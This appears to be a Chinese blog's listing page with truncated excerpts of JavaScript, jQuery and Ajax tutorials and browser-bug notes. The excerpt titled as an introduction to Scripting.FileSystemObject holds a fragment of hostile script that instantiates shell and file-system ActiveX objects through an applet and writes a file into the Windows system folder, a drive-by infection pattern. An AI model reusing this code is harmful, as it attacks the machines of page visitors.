如何抠JavaScript效果代码

评论(0)浏览(158)分类:JavaScript/Ajax开发技巧
如何抠JavaScript效果代码  要抠JavaScript效果代码,不是一件容易的事,需要有一定的JavaScript基础,掌握一定的调式工具,如firebug或者google的开发人员工具,强烈推荐firebug。  我的方法大概如下,使用firebug1)找到效果代码函数名称或者函数体  a)如果容器直接写了事件就简单了,直接就找到了。  b)要不需要找到动画那块内容,看容器或者子内容是不是有..

javascript/ajax浏览器历史记录后退解决方案II

评论(0)浏览(158)分类:JavaScript/Ajax开发技巧
javascript/ajax浏览器历史记录后退解决方案II使用iframe,通过修改iframe.src产生历史示例代码!DOCTYPE htmlhtmlhead meta charset=utf-8 / title0/title/headbody input type=button value=加1 onclick=add() / div id=info style=border:red 1px solid;width:200px;padding:10px;margin:5px;0/div/body /htmlscript/** * history.js v0.2 * Copyright (c) 2011 snandy * * 1..

Chrome扩展开发教程(九)Events(事件)

评论(0)浏览(157)分类:JavaScript/Ajax开发技巧
Chrome扩展开发教程(九)Events(事件)事件(Event)就是当某些行为发生后要触发的函数。这些行为包括打开了一个新标签、点击了一个按钮等。下面是利用chrome.tabs.onCreated行为(创建一个新标签页),只要打开了一个新标签页相应的事件就会被触发。这 个例子中,我们用addListener()来注册函数,addListener()的参数总是一个函数,但是这个函数的参数根据事件类型不一样而不同。 点击这..

分享6个不错的jquery tooltip plugin

评论(0)浏览(157)分类:JavaScript/Ajax开发技巧
分享6个不错的jquery tooltip plugin  6个不错的jquery Tooltip插件  1) Poshy Tip 是一个强大的jQuery Tooltip插件,拥有不同的外观。作为 Form Tooltips使用时,可以自定义气泡出现的位置。http://vadikom.com/tools/poshy-tip-jquery-plugin-for-stylish-tooltips/演示地址:http://vadikom.com/demos/poshytip/  2)Easy Tooltip是一款 jQuery 的 Tooltip 插件。http://cs..

JS URL编码函数

评论(1)浏览(157)分类:JavaScript/Ajax开发技巧
JS URL编码函数摘要: js对文字进行编码涉及3个函数:escape, encodeURI, encodeURIComponent。他们各有各的作用,具体请看全文。js对文字进行url编码涉及3个函数:escape,encodeURI,encodeURIComponent,相应3个解码函数:unescape,decodeURI,decodeURIComponent。escape() 方法:采用ISO Latin字符集对指定的字符串进行编码。所有的空格符、标点符号、特殊字符..

jQuery IE6下width(),height()获取document的高和宽不精确

评论(0)浏览(157)分类:JavaScript/Ajax开发技巧
jQuery IE6下width(),height()获取document的高和宽不精确jQuery在IE6下width(),height()获取document的高和宽不精确  最近在学jquery,发现使用$(document).width(),$(document).height()在IE6浏览器下获取到的长度尽然是分辨率的宽和高,而不是document对象的宽,导致lightbox在ie6下出现滚动条。如下图未显示lightbox前显示lightbox后  在浏览器地址栏输入JavaScript脚本javascript:alert($(docu..

VBScript如何调用异步调用ajaxpro注册的方法

评论(1)浏览(156)分类:Asp/VBScript
VBScript如何调用异步调用ajaxpro注册的方法  由于ajaxpro在客户端注册的脚本是JavaScript的,但是JavaScript无法调用VBScript注册的函数或者过程,只能访问VBScript注册的标量,VBScript可以调用JavaScript注册的变量或者方法,所以VBScript使用ajaxpro的异步功能时,需要传递回调函数,如果传递的是VBScript的function函数,会出现“由于出现错误 80020102 而导致此项操作无法完成”的..

jquery插件jPrintArea使用方法

评论(0)浏览(156)分类:JavaScript/Ajax开发技巧
jquery插件jPrintArea使用方法  jquery插件jPrintArea,利用该插件可以实现打印网页中的指定元素。该插件的源代码为: +展开-JavaScriptjQuery.jPrintArea=function(el){variframe=document.createElement('IFRAME');vardoc=null;$(iframe).attr('style','position:absolute;width:0px;height:0px;left:-500px;top:-500px;');document.body.appendChild(iframe);doc=ifra..

uncaught exception: [Exception... "Component returned failure code: 0x80520012 (NS_ERROR_FILE_NOT_FOUND) [nsIDOMHTMLFormElement.submit]" nsresult: "0x80520012 (NS_ERROR_FILE_NOT_FOUND)" location: "JS frame :: :: anonymous :: line 11" data: no]

评论(0)浏览(155)分类:JavaScript/Ajax开发技巧
uncaught exception: [Exception... uncaught exception: [Exception... "Component returned failure code: 0x80520012 (NS_ERROR_FILE_NOT_FOUND) [nsIDOMHTMLFormElement.submit]" nsresult: "0x80520012 (NS_ERROR_FILE_NOT_FOUND)" location: "JS frame :: file:///C:/Documents%20and%20Settings/Administrator/%E6%A1%8C%E9%9D%A2/x.html :: anonymous :: line 11" data: no..

XMLHTTP notes: abort() and Mozilla bug

评论(0)浏览(155)分类:JavaScript/Ajax开发技巧
XMLHTTP notes: abort() and Mozilla bugIn my continuing quest to understand XMLHTTP I gathered some very intriguing material that I'm quite sure will save somebody else's ass. Today I offer a closer look at the abort() method, as well as an as yet unexplained bug in Mozilla which causes the responseXML to go missing.A note first of all: I tested everything ..

添加xhtml声明后documentElement.scrollTop为0

评论(0)浏览(154)分类:JavaScript/Ajax开发技巧
添加xhtml声明后documentElement.scrollTop为0  再chrome浏览器下面,无论申明doctype为html或者xhtml,获取或者设置页面的滚动高只能使用document.body.scrollTop,使用document.documentElement.scrollTop得到的是0,chrome版本为16.0.912.75 m,而其他浏览器则按照doctype的不同使用不同的对象,申明为xhtml时使用document.documentElement.scrollTop,doctype为html时则使用document.b..

domReady事件

评论(0)浏览(154)分类:JavaScript/Ajax开发技巧
domReady事件  在w3c浏览器下面,domReady事件==DOMContentLoaded事件,IE浏览器下面没有DOMContentLoaded事件,可以通过IE加载循序使用script+defer属性来实现domReady事件,具体参考下面的代码  基本上每个库都有domReady事件,因为如果要对页面上的元素进行操作,必须等到页面加载了这个元素才行,否则会报错,但是很难判定某个元素是否已加 载,但可..

Comet:基于 HTTP 长连接的“服务器推”技术

评论(0)浏览(153)分类:JavaScript/Ajax开发技巧
Comet:基于 HTTP 长连接的“服务器推”技术http://www.ibm.com/developerworks/cn/web/wa-lo-comet/Comet:基于 HTTP 长连接的“服务器推”技术 级别: 中级周 婷 (zhouting@cn.ibm.com), 软件工程师, IBM 中国软件开发技术实验室2007 年 8 月 31 日很多应用譬如监控、即时通信、即时报价系统都需要将后台发生的变化实时传送到客户端而无须客户端不停地刷新、发送请求。本文首先介绍、比较..

DOM编程-拖拽(拖动)层的几个细节问题

评论(0)浏览(152)分类:JavaScript/Ajax开发技巧
DOM编程-拖拽(拖动)层的几个细节问题此文也可以命名为好的拖动层必须做的几个细节在一个拖拽系统中,做出来容易细节,细节却并不尽如人意..拖拽中没有一个完美(或者说比较完美)的解决方案,原因在于:我们所知道拖拽的实现的方法(cross-browser)是有三个事件的:onmousedown,onmousemove,onmouseup,即onmousedown来捕获,onmousemove拖拽,onmouseup释放事件. 这在一般情况下是没有问题的...

Scripting.FileSystemObject介绍

评论(0)浏览(152)分类:JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..

JavaScript模拟冒泡排序

评论(0)浏览(152)分类:JavaScript/Ajax开发技巧
JavaScript模拟冒泡排序  JavaScript模拟冒泡排序排序过程,冒泡排序模拟过程效果!DOCTYPE htmlhtml lang=enheadmeta charset=UTF-8titleJavaScript模拟冒泡排序/titlestyle type=text/cssdiv div{width: 10px;background-color: red;display: inline-block;margin-right: 1px;text-align: center;line-height: 30px;}#show {width: 500px;height: 300px;margin-left..

JS代码大全高级应用

评论(0)浏览(151)分类:JavaScript/Ajax开发技巧
JS代码大全高级应用事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey 事件返回值 event.returnValue 鼠标位置 event.x event.y 窗体活动元素 document.activeElement 绑定事件 document.captureEven..

IE对CSS样式表的限制和解决方案

评论(0)浏览(151)分类:JavaScript/Ajax开发技巧
IE对CSS样式表的限制和解决方案HTML文档与CSS的关联常见有4种方式: 1.使用link标记 +展开-HTMLlinkrel="stylesheet"type="text/css"href="sheet.css"/ 2.使用style元素+展开-HTMLstyletype="text/css"body{background:#fff;}h1{font-size:2em;}/style 3.使用@import指令+展开-HTMLstyletype="text/css"@importurl(sheet1.css);@import"sheet2.css";/style 4.使用styl..

组合合并canvas图形

评论(0)浏览(150)分类:JavaScript/Ajax开发技巧
组合合并canvas图形  在HTML5中有11种组合图形的方式,只要把他们设置到context.globalCompositeOperation中就可以了,下面是一些证明各种图形组合方式的结果的示例。  HTML代码很简单,就2个控件,一个是下拉列表,让用户选择组合方式,并且一旦用户做出了选择,就执行js函数draw(id),从而在第二个控件canvas上根据用户当前选择的组合方式进行画图。第二个控..

JQuery实现的模块交换动画效果

评论(0)浏览(150)分类:JavaScript/Ajax开发技巧
JQuery实现的模块交换动画效果JQuery实现的模块交换动画效果点击下载此附件源代码如下+展开-HTML!doctypehtmlhtmlheadmetahttp-equiv="content-type"content="text/html;charset=utf-8"/titleJQuery实现的模块交换动画效果/titlemetaname="Keywords"content="jquery,模块,交换,动画,javascript特效"/metaname="Description"content="JQuery实现的模块交换动画效果。在模块..

jquery请求本地xml无法执行回调问题

评论(0)浏览(149)分类:JavaScript/Ajax开发技巧
jquery请求本地xml无法执行回调问题  在csdn看到一个问题,挺有代表性的,也给了我个人的回复,转到我的博客来,O(∩_∩)O~。问题描述html里的ajax代码如下:$.get('figures.xml', function(data) { var $entry=$(data).find("entry:eq(0)"); var $text=$entry.find('name').text(); alert($text);});figures.xml代码如下:entries entry name姓名:XXX/name phone手机号..

图片无间隙滚动

评论(0)浏览(149)分类:JavaScript/Ajax开发技巧
图片无间隙滚动+展开-HTML!!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">htmlxmlns="http://www.w3.org/1999/xhtml"headmetahttp-equiv="content-type"content="text/html;charset=utf-8"/title编程设计网--图片无间隙滚动/titlemetaname="Keywords"content="图片无间隙滚动"/metaname..

如何解决ajax跨域的问题

评论(0)浏览(147)分类:JavaScript/Ajax开发技巧
如何解决ajax跨域的问题解决ajax跨域的问题 ajax跨域调用的解决办法有很多种,我这里只说两种:假设s.cnblogs.com是一个评论系统,只提供javascript方式的调用。news.cnblogs.com是一个新闻系统,这个系统将评论功能委托给s.cnblogs.com。这时news.cnblogs.com发表评论的代码可能是:function sendData(data,callback){var xmlHttp=createXmlHttpRequest();xmlHttp.ope..

Attribute对象参考

评论(0)浏览(147)分类:JavaScript/Ajax开发技巧
Attribute对象参考Definition and UsageThe Attr object represents an attribute in the HTML document.An attribute always belongs to an element object.Note: The Attr object can also use the properties and methods of the Node object.Browser Support The Attr object is supported in all major browsers.Attr Object PropertiesThe DOM column in..

JavaScript代码,变量,函数执行顺序问题

评论(0)浏览(146)分类:JavaScript/Ajax开发技巧
JavaScript代码,变量,函数执行顺序问题  今天总结下学习和开发中遇到的JavaScript执行顺序的问题。  顺序可能比较乱,写多了再整理,有些术语可能运用也不恰当,欢迎批评指正。1. 变量的声明和引用  变量必须先声明后引用,这个大家是都知道的,但还是要说说,因为后面要说到一个相关的问题。alert(myStr); // 弹出undefined;var myStr = Hello World!;alert(myStr); // 弹出He..

浏览器渲染原理

评论(0)浏览(146)分类:JavaScript/Ajax开发技巧
浏览器渲染原理  Web页面运行在各种各样的浏览器当中,浏览器载入、渲染页面的速度直接影响着用户体验简单地说,页面渲染就是浏览器将html代码根据CSS定义的规则显示在浏览器窗口中的这个过程。先来大致了解一下浏览器都是怎么干活的:  1. 用户输入网址(假设是个html页面,并且是第一次访问),浏览器向服务器发出请求,服务器返回html文件;  2. 浏览..

Firefox上传文件获取全路径问题

评论(0)浏览(146)分类:JavaScript/Ajax开发技巧
Firefox上传文件获取全路径问题firefox上传文件时只能获取图片的文件名不能获取全路径,因此不能预览,怎么解决呢? ===========  firefox,ie7,ie8都是不能直接访问本地文件的。比如+展开-HTMLimgsrc="C:\DocumentsandSettings\Administrator.WWW-00E83A94D30\MyDocuments\MyPictures\winter.jpg"/会给你显示一个X,只有IE6下才有这个权限可以访问,高版本的浏览器出于安全考..

非重新命名--解决fckeditor编辑器Asp.NET上传文件中文文件名出现乱码问题

评论(0)浏览(146)分类:JavaScript/Ajax开发技巧
非重新命名--解决fckeditor编辑器Asp.NET上传文件中文文件名出现乱码问题  由于以前一直使用的是ewebeditor编辑器,会插入很多乱七八糟的代码,标记也清除不干净,可能使用的版本低,也不兼容Firefox。所以需要对编辑器进行升级,我对ewebeditor是由点失望了,所以改用fckeditor编辑器。  不过在上传文件的时候,fckeditor是以文件名原来的名字命名的,如果出现相同的文件名时,会自动在扩展名前加上(1)这些内容..

正则表达式 IP 验证

评论(0)浏览(145)分类:JavaScript/Ajax开发技巧
正则表达式 IP 验证这是我写的一个验证方式 但是有点问题 JScript codefunction isIp(ipAddress){ var patrn = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/; if(!patrn.exec(ipAddress)) { //win..

google chart IE无法响应ready事件

评论(1)浏览(144)分类:JavaScript/Ajax开发技巧
google chart IE无法响应ready事件  使用google chart绘制LineChart图像时,在IE7,IE8下会无法响应ready事件,firefox,chrome没有问题,其他浏览器没有测试。  没有办法,IE下只能用计时器检查google chart生成的iframe对象的document.readyState=='complete'是否成立了。源代码如下function drawChart(){//绘图函数 var chart = new google.visualization.LineCh..